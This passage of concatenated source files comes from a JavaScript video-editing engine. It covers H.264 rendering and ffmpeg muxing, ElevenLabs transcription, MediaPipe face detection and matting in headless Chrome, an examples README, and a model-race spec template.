      // works on the next units (the CPU is mostly idle then). `final` no longer decodes the whole video after the render.
      u.ok = decodes(Buffer.concat(u.bufs), u.a, u.b); u.ok.catch(() => {});
      const c = u.c; if (--c.left) return;
      c.buf = Buffer.concat(c.parts.flatMap(p => p.bufs)); c.ready = true;
      // into the cache once every unit of it decoded
      const w = Promise.all(c.parts.map(p => p.ok)).then(() => fs.promises.writeFile(c.f + '.part', c.buf)).then(() => fs.promises.rename(c.f + '.part', c.f)).then(() => { c.buf = null; });
      w.catch(() => {}); writes.push(w); c.parts = null;
      mux?.feed();
    };
    const s2 = await serve(sinks);
    try {
      const b0 = Date.now(), pages = await Promise.all(Array.from({ length: nw }, () => openPage(s2, scale)));
      perf.boot = Date.now() - b0;
      try {
        fallback = !(await pages[0].page.evaluate(async ([width, height, bitrate]) => window.HAS_WEBCODECS && (await VideoEncoder.isConfigSupported({ codec: 'avc1.640034', width, height, bitrate, framerate: 30, avc: { format: 'annexb' } }).catch(() => ({}))).supported, [W, H, rate]));
        if (!fallback) {
          mux = muxer(chunks, out, fps);
          await Promise.all(pages.map(async ({ page }, w) => {
            await page.evaluate(([fps, rate]) => window.encodeStart(fps, rate), [fps, rate]);
            for (let u; (u = next(runs[w]));) {
              u.id = String(++uid); sinks[u.id] = { data: b => u.bufs.push(b), end: () => finish(u), done: 0, tick };
              await page.evaluate(([a, b, sink]) => window.encodeUnit(a, b, sink), [u.a, u.b, `/sink/${u.id}`]);
            }
            const r = await page.evaluate(() => window.encodeEnd());
            for (const [k, v] of Object.entries(r || {})) perf[k] = (perf[k] || 0) + v;
          }));
          if (bad) throw bad;
          await Promise.all(units.map(u => u.ok));   // every unit decoded
          await Promise.all(writes);
        }
      } finally { await Promise.all(pages.map(p => p.close().catch(() => {}))); }
    } catch (e) { mux?.abort(); throw e; } finally { s2.close(); }
    if (fallback) { log('no H.264 WebCodecs in this browser: JPEG fallback'); return jpeg(); }
    // benchmark: where each frame's time goes, summed over the workers (ms per frame), and the wall clock of the encode
    if (perf.frames) { const per = k => (perf[k] / perf.frames).toFixed(1), wall = (Date.now() - start) / 1000;
      log(`bench: boot ${(perf.boot / 1000).toFixed(1)}s, ${N2} frames in ${wall.toFixed(1)}s = ${(N2 / wall).toFixed(0)} fps (${(N2 / fps / wall).toFixed(1)}x realtime), per frame: images ${per('load')} ms, draw ${(+per('render') - +per('load')).toFixed(1)} ms, encode ${(+per('submit') + +per('encWait')).toFixed(1)} ms, ${steals} steals`);
      if (flag('bench')) fs.writeFileSync(flag('bench'), JSON.stringify({ frames: N2, wall, workers: nw, steals, ...perf }, null, 2)); }
  }
  mux ||= muxer(chunks, out, fps);
  const now = new Date();
  for (const c of chunks) if (c.hit) fs.utimesSync(c.f, now, now);   // cache recency, for the prune below
  await mux.end();
  // every frame of this file decoded (now, or when its cached chunk was made): `final` skips its own decode of it
  { const f = P('.cache/render/qc.json'), qc = fs.existsSync(f) ? readJSON(f) : {}, st = fs.statSync(out); qc[out] = `${st.size}:${st.mtimeMs}`; fs.writeFileSync(f, JSON.stringify(qc, null, 2)); }
  // a full-length render prunes the chunks it did not use (same size and fps), so the cache stays about one video big
  if (n0 === 0 && n1 === Math.round(tl.duration * fps)) {
    const keep = new Set(chunks.map(c => path.basename(c.f))), dir = path.dirname(chunks[0].f);
    for (const f of fs.readdirSync(dir)) if (!keep.has(f)) fs.unlinkSync(path.join(dir, f));
  }
  log(`video done in ${((Date.now() - start) / 1000).toFixed(1)}s`);
}

// Fallback (--jpeg, or no H.264 WebCodecs): one page, canvas JPEG over CDP, piped to ffmpeg (Apple hardware encoder, else x264).
async function renderJPEG({ scale, fps, n0, N, out, W, H, draft, start }) {
  const enc = spawn(FFMPEG, ['-hide_banner', '-loglevel', 'error', '-y', '-f', 'image2pipe', '-framerate', String(fps), '-c:v', 'mjpeg', '-i', '-',
    '-vf', `scale=${W}:${H}:in_range=full:out_range=tv,format=yuv420p`, ...h264(draft ? '4M' : W * H > 1.5e6 ? '32M' : '18M', draft ? '6M' : W * H > 1.5e6 ? '44M' : '26M'),
    '-profile:v', 'high', '-color_range', 'tv', '-colorspace', 'bt709', '-color_primaries', 'bt709', '-color_trc', 'bt709', '-r', String(fps), '-movflags', '+faststart', out],
    { stdio: ['pipe', 'inherit', 'inherit'] });
  const done = new Promise((res, rej) => enc.on('close', c => c ? rej(new Error('ffmpeg exit ' + c)) : res()));
  let lastPct = -1;
  log(`render ${N} frames ${W}x${H}@${fps} (JPEG path) -> ${out}`);
  await withPage(scale, async page => {
    for (let i = 0; i < N; i++) {
      const b64 = await page.evaluate(t => window.frameJPEG(t, .97), (n0 + i) / fps);
      if (!enc.stdin.write(Buffer.from(b64, 'base64'))) await new Promise(r => enc.stdin.once('drain', r));
      const pct = Math.floor((i + 1) / N * 20) * 5;
      if (pct !== lastPct) { lastPct = pct; const el = (Date.now() - start) / 1000, f = (i + 1) / el; log(`${pct}% (${i + 1}/${N}) ${f.toFixed(1)} fps, eta ${Math.round((N - i - 1) / f)}s`); }
    }
  });
  enc.stdin.end(); await done;
  log(`video done in ${((Date.now() - start) / 1000).toFixed(0)}s`);
}

// ---- init / words: project setup without any personal path. The creator profile is LOCAL, never global: $SHORT_EDITING_HOME,
// else the nearest .short-editing/ folder in the short's folder or a parent (the home folder excluded: ~/.short-editing is
// never a style), else none (engine default). It holds .env (ELEVEN_KEY) and the styles (from the studio-setup skill),
// each in its own folder <profile>/styles/<name>/, the default one included: <profile>/style.json then only names it,
// {"default": "<name>"} (a plain file, no link). An older profile keeps its default style right in <profile>/style.json.
const HOME = (start = PROJ || process.cwd()) => expand(process.env.SHORT_EDITING_HOME || (s => { for (let d = s; d !== path.dirname(d); d = path.dirname(d)) if (d !== os.homedir() && (fs.existsSync(path.join(d, '.short-editing')) || fs.existsSync(path.join(d, 'video-agent')))) return path.join(d, fs.existsSync(path.join(d, '.short-editing')) ? '.short-editing' : 'video-agent'); return path.join(s, '.short-editing'); })(path.resolve(start)));
const styleDir = (home, name) => { if (name) return path.join(home, 'styles', name); try { const d = readJSON(path.join(home, 'style.json')).default; if (typeof d === 'string') return path.join(home, 'styles', d); } catch {} return home; };
const KEYFILES = () => [path.join(HOME(), '.env'), path.join(process.cwd(), '.env'), path.join(os.homedir(), '.short-editing/.env')];   // keys only may be shared machine-wide
// newest take in the profile's A-roll folder (style.folders.aroll), for `init --source latest`
function latestTake(st) {
  const dir = st?.folders?.aroll && expand(st.folders.aroll);
  if (!dir || !fs.existsSync(dir)) throw new Error('--source latest needs folders.aroll in the creator profile (run studio-setup)');
  const vids = fs.readdirSync(dir).filter(f => /\.(mp4|mov|m4v)$/i.test(f) && !f.startsWith('.')).map(f => path.join(dir, f));
  if (!vids.length) throw new Error(`no video in the A-roll folder ${dir}`);
  return vids.sort((a, b) => fs.statSync(b).mtimeMs - fs.statSync(a).mtimeMs)[0];
}
async function init() {
  if (fs.existsSync(P('source/spec.js'))) throw new Error(`${P('source/spec.js')} already exists, not overwriting`);
  for (const d of ['assets', 'files', 'source', 'output', 'stills']) fs.mkdirSync(P(d), { recursive: true });
  // --style <name>: a named style of the profile (<profile>/styles/<name>/), else the default one; the style's assets/
  // folder (e.g. a mascot pose pack) is copied into the project so the short stays self-contained
  const sname = flag('style'), sdir = styleDir(HOME(), sname && sname !== true ? sname : null);
  if (sdir !== HOME() && !fs.existsSync(path.join(sdir, 'style.json'))) throw new Error(`no style "${sname || path.basename(sdir)}": ${sdir}/style.json missing`);
  const prof = path.join(sdir, 'style.json'), st = fs.existsSync(prof) ? prof : path.join(ENGINE, 'templates/style.json');
  fs.copyFileSync(st, P('source/style.json'));
  if (sdir !== HOME() && fs.existsSync(path.join(sdir, 'assets'))) fs.cpSync(path.join(sdir, 'assets'), P('assets'), { recursive: true });
  const style = readJSON(P('source/style.json'));
  let src = flag('source'); if (src === true) src = null;
  if (src === 'latest') src = latestTake(style);
  if (src) fs.copyFileSync(expand(src), P('assets/source.mp4'), fs.constants.COPYFILE_FICLONE);   // APFS clone: instant, no extra disk
  // a Recorder take (its <take>.json sidecar names the script slug): origin.json links the video to the take, and through it to
  // the script, so the studio shows Script -> Take -> Video both ways. The copy above no longer knows where it came from.
  if (src) try { if (readJSON(expand(src).replace(/\.\w+$/, '.json')).slug) fs.writeFileSync(P('origin.json'), JSON.stringify({ takes: [path.basename(expand(src))] }, null, 2) + '\n'); } catch {}
  const take = fs.existsSync(P('assets/source.mp4'));   // copied now, or already downloaded there (Tella)
  // camera framing: the profile's (same take size) or detected on this take (Apple Vision, ~2 s), else the template's
  const yt = flag('format') === 'youtube';   // long-form 16:9: templates/youtube.js, the camera keeps the whole take (crop = full frame)
  let spec = fs.readFileSync(path.join(ENGINE, yt ? 'templates/youtube.js' : 'templates/spec.js'), 'utf8'), cam = null, how = 'template default, check a frame';
  const camera = await import('./camera.mjs'), sz = take && camera.size(P('assets/source.mp4'));   // rotation-aware (iPhone)
  if (yt && take) try { const f = camera.detectCamera(P('assets/source.mp4'));
    cam = { crop: [0, 0, sz.w, sz.h], eyes: [f.crop[0] + f.eyes[0], f.crop[1] + f.eyes[1]] }; how = f.faces ? 'full take, face detected' : 'full take, no face found'; } catch (e) { log(`camera detection skipped: ${e.message}`); }
  else if (style.camera?.crop && (!sz || (sz.w === style.camera.w && sz.h === style.camera.h))) { cam = style.camera; how = 'creator profile'; }
  else if (take) try { cam = camera.detectCamera(P('assets/source.mp4')); how = cam.faces ? 'face detected on this take' : 'no face found, centered'; } catch (e) { log(`camera detection skipped: ${e.message}`); }
  if (cam) spec = spec.replace(/cam: \{[^\n]*\},[^\n]*/, `cam: { crop: [${cam.crop.join(', ')}], eyes: [${cam.eyes.join(', ')}] },   // ${how}`);
  // a creator style with a fixed camera card (layout.seam): one seam for the whole short, written in the starter spec
  const seam = style.layout?.seam;
  if (!yt && Number.isFinite(seam)) spec = spec.replace(/ *\/\/ seam: [^\n]*\n *layout: \{[^\n]*\},[^\n]*/, `  // seam fixed by the creator style (layout.seam): the camera card never resizes. Only 1920 (paper alone) or 0 (full camera) when its notes allow it\n  layout: { keys: [[0, ${seam}]] },`);
  fs.writeFileSync(P('source/spec.js'), spec);
  log(`init ${PROJ}: style from ${st === prof ? prof : 'engine default (no profile, run studio-setup)'}${src ? `, take ${path.basename(src)} -> assets/source.mp4` : ''}, cam: ${how}`);
}

function elevenKey() {
  if (process.env.ELEVEN_KEY || process.env.ELEVENLABS_API_KEY) return process.env.ELEVEN_KEY || process.env.ELEVENLABS_API_KEY;
  for (const env of KEYFILES()) {
    const m = fs.existsSync(env) && fs.readFileSync(env, 'utf8').match(/^\s*(?:export\s+)?(?:ELEVEN_KEY|ELEVENLABS_API_KEY)\s*=\s*["']?([^"'\s#]+)/m);
    if (m) return m[1];
  }
  throw new Error(`no ElevenLabs key: set ELEVEN_KEY or put ELEVEN_KEY=... in ${KEYFILES()[0]}`);
}
async function words() {
  const lang = pos[0] || loadStyle()?.creator?.lang, wav = P('assets/source.wav');   // default: the creator's language
  if (!fs.existsSync(wav) || fs.statSync(wav).mtimeMs < fs.statSync(P('assets/source.mp4')).mtimeMs)
    ff(['-i', P('assets/source.mp4'), '-vn', '-ac', '1', '-ar', '48000', '-c:a', 'pcm_s16le', wav]);
  let key; try { key = elevenKey(); } catch { return (await import('./whisper.mjs')).whisperWords(PROJ, lang, wav, log); }
  const t0 = Date.now();
  for (let k = 1; ; k++) {
    const fd = new FormData();
    fd.append('model_id', 'scribe_v1'); fd.append('timestamps_granularity', 'word'); fd.append('diarize', 'false');
    if (lang) fd.append('language_code', lang);
    fd.append('file', new Blob([fs.readFileSync(wav)], { type: 'audio/wav' }), 'source.wav');
    let r; try { r = await fetch('https://api.elevenlabs.io/v1/speech-to-text', { method: 'POST', headers: { 'xi-api-key': key }, body: fd, signal: AbortSignal.timeout(300000) }); }
    catch (e) { if (k >= 3) throw e; log(`network error (${e.message}), retry ${k}/3`); await new Promise(z => setTimeout(z, 5000 * k)); continue; }
    if (r.status === 401 || r.status === 403) throw new Error(`ElevenLabs auth failed (HTTP ${r.status}): check the key`);
    if (!r.ok) { if (k >= 3 || ![429, 500, 502, 503, 504].includes(r.status)) throw new Error(`ElevenLabs HTTP ${r.status}: ${(await r.text()).slice(0, 300)}`); log(`HTTP ${r.status}, retry ${k}/3`); await new Promise(z => setTimeout(z, 5000 * k)); continue; }
    const res = await r.json(), n = (res.words || []).filter(w => w.type === 'word').length;
    if (!n) throw new Error('transcription returned 0 words (silent audio? wrong language?)');
    fs.writeFileSync(P('assets/words-scribe.json'), JSON.stringify(res, null, 2));
    return log(`words: ${n} words, lang ${res.language_code} (${((Date.now() - t0) / 1000).toFixed(1)}s) -> assets/words-scribe.json`);
  }
}

async function audio() { await import('./audio.mjs').then(m => m.buildAudio(PROJ, loadSpec())); }

// Apple AAC when ffmpeg has it: the native encoder at 192k can burst +8 dB on one frame (true peak +6.5 dBTP from a -2.2 dBFS mix)
const AAC = () => hasEncoder('aac_at') ? ['-c:a', 'aac_at', '-b:a', '192k'] : ['-c:a', 'aac', '-b:a', '256k'];

// async ffmpeg: resolves with its stderr (ebur128 writes a line per 100 ms of audio), rejects on a non-zero exit
const ffRun = args => new Promise((res, rej) => {
  const p = spawn(FFMPEG, ['-hide_banner', ...args], { stdio: ['ignore', 'ignore', 'pipe'] }); let e = '';
  p.stderr.on('data', d => { e += d; }); p.once('error', rej);
  p.once('close', c => c ? rej(new Error(e.slice(-400))) : res(e));
});

async function final() {
  const tl = readJSON(P('assets/timeline.json'));
  const slug = path.basename(PROJ), vid = fs.existsSync(P('output/video.mp4')) ? P('output/video.mp4') : P('output/draft-video.mp4');
  const out = P('output', `${slug}${vid.includes('draft') ? '-draft' : ''}.mp4`);
  // the video stream is copied as is: the decode check (a full software decode, ~1 s for 30 s of 1080x1920, VideoToolbox
  // is 3x slower here) and the poster read the render itself while the audio is encoded and muxed
  const st = fs.statSync(vid), qf = P('.cache/render/qc.json'), inRender = fs.existsSync(qf) && readJSON(qf)[vid] === `${st.size}:${st.mtimeMs}`;
  const check = inRender ? Promise.resolve(null) : ffRun(['-nostats', '-i', vid, '-map', '0:v', '-f', 'null', '-']).then(() => null, e => e);
  const poster = ffRun(['-loglevel', 'error', '-y', '-ss', String(flag('poster', 1.2)), '-i', vid, '-frames:v', '1', '-q:v', '2', P('output', `${slug}-poster.jpg`)]).then(() => null, e => e);
  // written next to it then renamed: the open studio reloads on a new render and must never catch a half-written file
  const part = path.join(path.dirname(out), `.${path.basename(out)}.part`);
  await ffRun(['-loglevel', 'error', '-y', '-i', vid, '-i', P('assets/mix.wav'), '-map', '0:v', '-map', '1:a', '-c:v', 'copy', ...BT709, ...AAC(), '-ar', '48000',
    '-t', tl.duration.toFixed(3), '-movflags', '+faststart', '-f', 'mp4', part]);
  fs.renameSync(part, out);
  // loudness on the muxed AAC (it can add overs the mix did not have)
  const eb = await ffRun(['-nostats', '-i', out, '-map', '0:a', '-af', 'ebur128=peak=true', '-f', 'null', '-']);
  const v = probe(out, 'stream=codec_name,width,height,r_frame_rate').split('\n').slice(0, 4), d = +probe(out);
  const ce = await check; if (ce) throw new Error(`QC decode failed: ${ce.message}`);
  const pe = await poster; if (pe) throw new Error(`poster failed: ${pe.message}`);
  const I = eb.match(/I:\s+(-?[\d.]+) LUFS/g)?.pop()?.match(/-?[\d.]+/)[0], tp = eb.match(/Peak:\s+(-?[\d.]+) dBFS/g)?.pop()?.match(/-?[\d.]+/)[0];
  log(`QC: ${v.join(' ')} | ${d.toFixed(2)}s (timeline ${tl.duration.toFixed(2)}s) | ${I} LUFS, true peak ${tp} dBTP | decode ok${inRender ? ' (checked in render)' : ''}`);
  log(`final: ${out}`);
}

const run = { init, words, prepare, rough, stills, capture, render, audio, final, preview, all: async () => {
  // the mix does not need the render: it runs beside it, in its own process (its DSP would stall this event loop, which
  // streams the encoded units out of Chrome)
  const a = new Promise((res, rej) => { const p = spawn(process.execPath, [fileURLToPath(import.meta.url), 'audio', ...process.argv.slice(3)], { stdio: 'inherit' });
    p.once('error', rej); p.once('close', c => c ? rej(new Error('audio exit ' + c)) : res()); });
  a.catch(() => {}); await render(); await a; await final();
} }[cmd];
if (!run) { console.error('unknown command', cmd); process.exit(1); }
await run();

# Examples: real shorts made with this engine

Six shorts that were edited, rendered and posted with `engine/short.mjs`. Each folder holds what made it:

- `source/spec.js`: the whole edit. Its top comment plans the beats; every time is a SOURCE second of the take.
- `source/*.html`: the motion components (`window.setT(t)`), captured into clips with `short.mjs capture`.
- `words.md`: the transcript with source and short times, so you can read each `at` against the word it lands on.
- `stills/contact.jpg`: the contact sheet of the final short, and `stills/<component>-sheet.jpg` per component. Open them: this is the finish to reach.

The takes, logos, images and captured clips are not included (the spec names them under `assets/`). To learn from an example, read its spec next to its `words.md` and its contact sheet; to reuse a component, copy its HTML into your project's `source/`, change the texts, colors and times, and capture it.

| example | what to take from it | look at |
|---|---|---|
| [skills-montage](skills-montage/) | The smallest complete short (11 s, 4 beats): a `term` that types and fails, a `counter` struck on the word, a `tree` line by line, the payoff with the real logo and a `check`. Start here. | `source/spec.js` |
| [claude-5x-value](claude-5x-value/) | Proof on a real chart: a `tweet`, then a `screen` with zoom keys and rings on the numbers read aloud, a big native `counter` under it for mobile, `bars`, then two funny objects (`ostrich`, `ferrari` vs `starship`). Engine-native only, no HTML. | `stills/contact.jpg` |
| [thinking-orbs](thinking-orbs/) | Hard cuts between full camera (seam 0), split (1160) and paper alone (1920), and every beat an HTML component: animated orbs, a repo card, a grid, chips, a 60 fps meter, the Instagram and TikTok comment CTAs. The reference for `overlay` scenes and `media` with `alpha: true`. | `source/*.html`, `stills/*-sheet.jpg` |
| [find-skills](find-skills/) | A remake of a viral reel, same beats: real-looking UI built in HTML (a skills marketplace page, a leaderboard, a terminal install, a prompt demo, a security scan), composite cards that move as one, dry punch-ins on the link phrases, `cut` for every retake. | `source/spec.js` top comment |
| [insta-skills](insta-skills/) | A story told inside one app: an Instagram DM thread, a competitor's insights, a fetch command in a terminal, a GitHub repo card, a staff badge, then the comment CTA with the word typed in the real comment sheet. | `source/ig-cta.html` |
| [kitchen-composants-premium](kitchen-composants-premium/) | Real captures of a UI library on the paper, a hook already moving on frame 0, a B-roll moment, a link card, and the CTA full camera with the keyword typed in the Reels comments. | `source/link-card.html` |

The usernames in the CTA components are placeholders (`toncompte`): put the creator's own handle, avatar and keyword.

#!/usr/bin/env node
// MediaPipe twin of faces.swift and matte.swift, for Windows and any machine without Apple Vision: same command line,
// same output files, computed in headless Chrome (playwright-core + @mediapipe/tasks-vision on the CPU, models fetched once).
//   node vision-web.mjs faces <camDir> <out.json>             [[cx, cy, w, h, roll], ...] per frame, gaps filled, smoothed
//   node vision-web.mjs matte <camDir> <outDir> <jobFile>     job lines "<frame> <rawMaskPath> <write 0|1>" (see matte.swift)
//   node vision-web.mjs fetch                                 download the models now (the installer does, so edits work offline)
// platform.mjs picks this path when Apple Vision is not there (SHORT_EDITING_VISION=web forces it, to compare on a Mac).
import fs from 'node:fs';
import path from 'node:path';
import { createRequire } from 'node:module';
import { ENGINE, CHROME, RUNTIME, CACHE } from './platform.mjs';

const MODELS = {
  faces: ['blaze_face_short_range.tflite', 'https://storage.googleapis.com/mediapipe-models/face_detector/blaze_face_short_range/float16/1/blaze_face_short_range.tflite'],
  matte: ['selfie_multiclass_256x256.tflite', 'https://storage.googleapis.com/mediapipe-models/image_segmenter/selfie_multiclass_256x256/float32/1/selfie_multiclass_256x256.tflite'],
};
const MODEL_DIR = path.join(RUNTIME || CACHE, 'models');

async function model(k) {
  const [name, url] = MODELS[k], f = path.join(MODEL_DIR, name);
  if (fs.existsSync(f)) return f;
  fs.mkdirSync(MODEL_DIR, { recursive: true });
  const r = await fetch(url);
  if (!r.ok) throw new Error(`model download failed (${r.status}): ${url}`);
  fs.writeFileSync(f + '.tmp', Buffer.from(await r.arrayBuffer())); fs.renameSync(f + '.tmp', f);
  return f;
}

// Everything the page reads or writes goes through one fake origin: /mp/* = the tasks-vision package, /file?f= reads a
// local file, POST /put?f= writes one. No server, no port.
const TYPES = { '.mjs': 'text/javascript', '.js': 'text/javascript', '.wasm': 'application/wasm', '.jpg': 'image/jpeg', '.png': 'image/png', '.tflite': 'application/octet-stream' };
const PAGE = `<!doctype html><script type="module">import * as V from '/mp/vision_bundle.mjs'; window.V = V; window.READY = true;</script>`;
async function withPage(fn) {
  const { chromium } = createRequire(path.join(ENGINE, 'package.json'))('playwright-core');
  const MP = path.dirname(createRequire(path.join(ENGINE, 'package.json')).resolve('@mediapipe/tasks-vision'));
  const browser = await chromium.launch({ executablePath: CHROME, headless: true, args: ['--disable-extensions', '--mute-audio'] });
  try {
    const page = await browser.newPage();
    page.on('pageerror', e => console.error('  pageerror:', e.message));
    await page.route('http://vision.local/**', async route => {
      const u = new URL(route.request().url()), f = u.searchParams.get('f');
      if (u.pathname === '/') return route.fulfill({ body: PAGE, contentType: 'text/html' });
      if (u.pathname === '/put') { const t = f + '.tmp'; fs.writeFileSync(t, route.request().postDataBuffer()); fs.renameSync(t, f); return route.fulfill({ body: 'ok' }); }
      const file = u.pathname === '/file' ? f : u.pathname.startsWith('/mp/') ? path.join(MP, decodeURIComponent(u.pathname.slice(4))) : null;
      if (!file || !fs.existsSync(file)) return route.fulfill({ status: 404, body: 'not found' });
      return route.fulfill({ body: fs.readFileSync(file), contentType: TYPES[path.extname(file)] || 'application/octet-stream' });
    });
    await page.goto('http://vision.local/');
    await page.waitForFunction(() => window.READY === true, null, { timeout: 60000 });
    return await fn(page);
  } finally { await browser.close(); }
}
const fileURL = f => 'http://vision.local/file?f=' + encodeURIComponent(f);

// ---- faces: the widest face per frame in frame px (y down), roll in radians (clockwise on screen)
async function faces(dir, out) {
  const m = await model('faces'), files = fs.readdirSync(dir).filter(f => f.endsWith('.jpg')).sort();
  const raw = await withPage(async page => {
    await page.evaluate(async m => {
      const fset = await V.FilesetResolver.forVisionTasks('/mp/wasm');
      window.det = await V.FaceDetector.createFromOptions(fset, { baseOptions: { modelAssetPath: m, delegate: 'CPU' }, runningMode: 'IMAGE', minDetectionConfidence: .5 });
    }, fileURL(m));
    const res = [];
    for (const [i, f] of files.entries()) {
      res.push(await page.evaluate(async url => {
        const img = await createImageBitmap(await (await fetch(url)).blob()), W = img.width, H = img.height;
        const best = det.detect(img).detections.sort((a, b) => b.boundingBox.width - a.boundingBox.width)[0];
        img.close();
        if (!best) return null;
        const b = best.boundingBox, [r, l] = best.keypoints;   // the subject's right eye (image left), then left eye
        // BlazeFace boxes run ~15% larger and a bit lower than Apple Vision's: scale them to the same face box
        const k = .86, w = b.width * k, h = b.height * k;
        return [b.originX + b.width / 2, b.originY + b.height / 2 - .03 * b.height, w, h, r && l ? Math.atan2((l.y - r.y) * H, (l.x - r.x) * W) : 0];
      }, fileURL(path.join(dir, f))));
      if (i % 200 === 0) console.log(`faces ${i + 1}/${files.length}`);
    }
    return res;
  });
  // fill gaps from the last detection (the first one before it), then a centred moving average, radius 3 frames
  let last = raw.find(Boolean) || null;
  const filled = raw.map(v => (last = v || last));
  const outRows = filled.map((_, i) => {
    const acc = [0, 0, 0, 0, 0]; let n = 0;
    for (let j = Math.max(0, i - 3); j <= Math.min(filled.length - 1, i + 3); j++) if (filled[j]) { filled[j].forEach((x, k) => acc[k] += x); n++; }
    return n ? acc.map(x => Math.round(x / n * 10) / 10) : [0, 0, 0, 0, 0];
  });
  fs.writeFileSync(out, JSON.stringify(outRows));
  console.log(`faces done: ${outRows.length} frames, ${raw.filter(Boolean).length} detected`);
}

// ---- matte: person = 1 - background confidence, upscaled to the cam frame, cached as a gray PNG; then a temporal EMA
// (40% previous) and a 5x5 gaussian, written as <outDir>/%05d.png with alpha = person (rgb 0), like matte.swift
async function matte(camDir, outDir, jobFile) {
  const m = await model('matte');
  fs.mkdirSync(outDir, { recursive: true });
  const jobs = fs.readFileSync(jobFile, 'utf8').split('\n').map(l => l.trim().split(' ')).filter(f => f.length === 3 && /^\d+$/.test(f[0]));
  await withPage(async page => {
    await page.evaluate(async m => {
      const fset = await V.FilesetResolver.forVisionTasks('/mp/wasm');
      window.seg = await V.ImageSegmenter.createFromOptions(fset, { baseOptions: { modelAssetPath: m, delegate: 'CPU' }, runningMode: 'IMAGE', outputConfidenceMasks: true, outputCategoryMask: false });
      const G = [0.0398, 0.2420, 0.4364, 0.2420, 0.0398];
      const png = async (c, put) => fetch(put, { method: 'POST', body: await c.convertToBlob({ type: 'image/png' }) });
      let ema = null, tmp = null, prev = -2;
      window.matteFrame = async ({ i, cam, cache, cached, cachePut, outPut, write }) => {
        let W, H, raw;
        if (cached) {
          const bm = await createImageBitmap(await (await fetch(cache)).blob()); W = bm.width; H = bm.height;
          const c = new OffscreenCanvas(W, H), x = c.getContext('2d'); x.drawImage(bm, 0, 0); bm.close();
          const d = x.getImageData(0, 0, W, H).data; raw = new Uint8Array(W * H); for (let j = 0; j < W * H; j++) raw[j] = d[4 * j];
        } else {
          const img = await createImageBitmap(await (await fetch(cam)).blob()); W = img.width; H = img.height;
          const r = seg.segment(img), bg = r.confidenceMasks[0], mw = bg.width, mh = bg.height, p = bg.getAsFloat32Array();
          // person = 1 - background, 0.3..0.7 stretched to 0..1 (no grey haze in the background)
          const small = new OffscreenCanvas(mw, mh), sx = small.getContext('2d'), id = sx.createImageData(mw, mh);
          for (let j = 0; j < mw * mh; j++) { const v = Math.round(Math.min(1, Math.max(0, (.7 - p[j]) / .4)) * 255); id.data[4 * j] = id.data[4 * j + 1] = id.data[4 * j + 2] = v; id.data[4 * j + 3] = 255; }
          sx.putImageData(id, 0, 0); r.close(); img.close();
          const c = new OffscreenCanvas(W, H), x = c.getContext('2d'); x.imageSmoothingQuality = 'high'; x.drawImage(small, 0, 0, W, H);
          const d = x.getImageData(0, 0, W, H).data; raw = new Uint8Array(W * H); for (let j = 0; j < W * H; j++) raw[j] = d[4 * j];
          await png(c, cachePut);
        }
        if (!ema || ema.length !== W * H || i !== prev + 1) { ema = Float32Array.from(raw); tmp = new Float32Array(W * H); }
        else for (let j = 0; j < W * H; j++) ema[j] += .6 * (raw[j] - ema[j]);
        prev = i;
        if (!write) return;
        // separable 5x5 gaussian, edges extended; alpha = mask, rgb 0
        for (let y = 0; y < H; y++) for (let x = 0; x < W; x++) {
          let s = 0; for (let k = -2; k <= 2; k++) s += G[k + 2] * Math.floor(ema[y * W + Math.min(W - 1, Math.max(0, x + k))]);
          tmp[y * W + x] = s;
        }
        const c = new OffscreenCanvas(W, H), x = c.getContext('2d'), id = x.createImageData(W, H);
        for (let y = 0; y < H; y++) for (let xx = 0; xx < W; xx++) {
          let s = 0; for (let k = -2; k <= 2; k++) s += G[k + 2] * tmp[Math.min(H - 1, Math.max(0, y + k)) * W + xx];
          id.data[4 * (y * W + xx) + 3] = Math.min(255, Math.round(s));
        }
        x.putImageData(id, 0, 0);
        await png(c, outPut);
      };
    }, fileURL(m));
    let written = 0;
    for (const [i, rawPath, w] of jobs) {
      const name = String(+i).padStart(5, '0');
      await page.evaluate(a => window.matteFrame(a), {
        i: +i, cam: fileURL(path.join(camDir, name + '.jpg')), cache: fileURL(rawPath), cached: fs.existsSync(rawPath),
        cachePut: 'http://vision.local/put?f=' + encodeURIComponent(rawPath), outPut: 'http://vision.local/put?f=' + encodeURIComponent(path.join(outDir, name + '.png')), write: w === '1',
      });
      if (w === '1' && ++written % 10 === 0) console.log(`matte ${written}`);
    }
  });
  console.log('matte done');
}

const [cmd, ...a] = process.argv.slice(2);
try {
  if (cmd === 'faces' && a.length === 2) await faces(...a);
  else if (cmd === 'matte' && a.length === 3) await matte(...a);
  else if (cmd === 'fetch') { for (const k of Object.keys(MODELS)) console.log(await model(k)); }
  else { console.log('usage: node vision-web.mjs faces <camDir> <out.json> | matte <camDir> <outDir> <jobFile> | fetch'); process.exit(1); }
} catch (e) { console.error(e.message); process.exit(1); }

// Race spec: model A vs model B on the same prompt(s), side by side, live cost + time meters, then the bill.
// Paper-only (silent) motion video. Fill MODELS, ROUNDS and the few strings below; everything else is generated.
// Copy to <project>/source/spec.js, then: prepare -> stills -> render --eco -> audio -> final.
const FORMAT = 'wide';            // 'wide' 1920x1080 (X / YouTube, like the reference race videos) | 'square' 1080x1080 | 'short' 1080x1920
const CLIPS = '~/Movies/Shorts/motion-<slug>/assets/clips/';   // absolute path (~ works) to this project's clips
const MODELS = [
  { name: 'GPT-6.1 Sol', logo: 'openai', effort: 'medium' },   // logos: 'openai' | 'claude' | 'codex'; effort = reasoning effort, always shown
  { name: 'Opus 5.5', logo: 'claude', effort: 'medium' },
];
// One round per test. clips = [modelA, modelB] (file names in CLIPS), cost in $, time in seconds (real run duration).
const ROUNDS = [
  { task: '3D car crash', clips: ['3d-car-crash-a.mp4', '3d-car-crash-b.mp4'], cost: [0.51, 0.90], time: [1149, 3118] },
];
const CLIP_W = 1440;              // clips must be recorded at >= 1440 wide (1440x900), smaller = blurry panels on 1920
const FOOTER = 'Same prompt · medium effort · API prices';
const ROUND = 8;                  // seconds per round (the clip keeps playing after the meters stop)
const OUTRO = true;               // total bill bars + closing question when there are 2+ rounds

// ---------------------------------------------------------------- generated
const media = {}, scenes = [];
const ratio = (a, b) => (Math.max(a, b) / Math.min(a, b)).toFixed(1).replace(/\.0$/, '') + '×';
let t = 0;
ROUNDS.forEach((r, i) => {
  const a = t, b = a + ROUND, cheap = r.cost[0] <= r.cost[1] ? 0 : 1;
  r.clips.forEach((c, j) => { media[`r${i}m${j}`] = { src: CLIPS + c, width: CLIP_W }; });
  scenes.push({
    type: 'race', from: a, to: b - .1, pre: i === 0 ? .5 : .15,
